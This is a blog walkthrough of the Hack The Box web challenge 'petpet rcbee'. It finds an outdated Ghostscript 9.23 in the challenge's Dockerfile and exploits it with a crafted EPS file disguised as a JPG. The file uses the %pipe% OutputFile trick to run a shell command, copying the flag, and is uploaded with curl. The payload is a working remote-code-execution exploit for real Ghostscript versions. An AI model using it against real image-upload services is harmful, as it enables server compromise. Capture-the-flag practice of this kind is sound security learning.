Skip to main content
  1. Posts/

HTB: petpet rcbee [Challenge | Web]

·395 words·2 mins
Htb Pentesting Walkthrough 100in23 Python Ghostscript Cve


Before diving into the code base, I decided to look at the website and play around with it. I’m running it locally with Docker so I can check out any console messages as well. Uploaded a fun Ojipan picture (might look familiar) to test out the web app.

petpet rcbee example
Example using my favorite Ojipan

As I’ve mentioned in previous challenge walkthroughs, I’m a fan of starting at the top of the challenge directory before diving directly in the main code. Look at the build script(s) and any configurations. In this case, I spotted something extremely strage in the Dockerfile

# Install Pillow component
RUN curl -L -O \
    && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
    && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*

Why install a very specific version of some software? Sure, maybe a compatibility issue, but I know you can install a specific version of software within apt and especially pip. Going to mark that down.

It’s a pretty straightforward flask app. As there’s not much interaction on the web app, nor no real hidden APIs, I took stock of some important file locations and directories:

  • The flag location /app/flag (the /app is the working dir defined in the Dockerfile)
  • GIFs storage location /app/application/static/petpets/


There’s a few on, but not direclty with this specific version. A quick google for ghostscript 9.32 exploit and this pops up right near the top. Makes sense too “rcbee”… rcE, get it?

Anyway, we can create a malicious JPG file and run our code to gain access to the flag. To keep it simple, I’m going to copy the contents of flag to a new file in the petpet dir.

Code for Malicious JPG

cat << EOF > exploit.jpg
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
mark /OutputFile (%pipe%cp /app/flag /app/application/static/petpets/flag.txt) currentdevice putdeviceprops

Notice how I changed the name to flag.txt.


With the exploit created, I can upload the image via the API using curl. This should return as a success, meaning that the GIF was generated and that the exploit worked.

curl 'http://localhost:1337/api/upload' -X POST -F 'file=@./exploit.jpg'

Assuming everything worked as expected, the flag should now be at /static/petpets/flag.txt.

curl http://localhost:1337/static/petpets/flag.txt

exploit example

Grab that flag!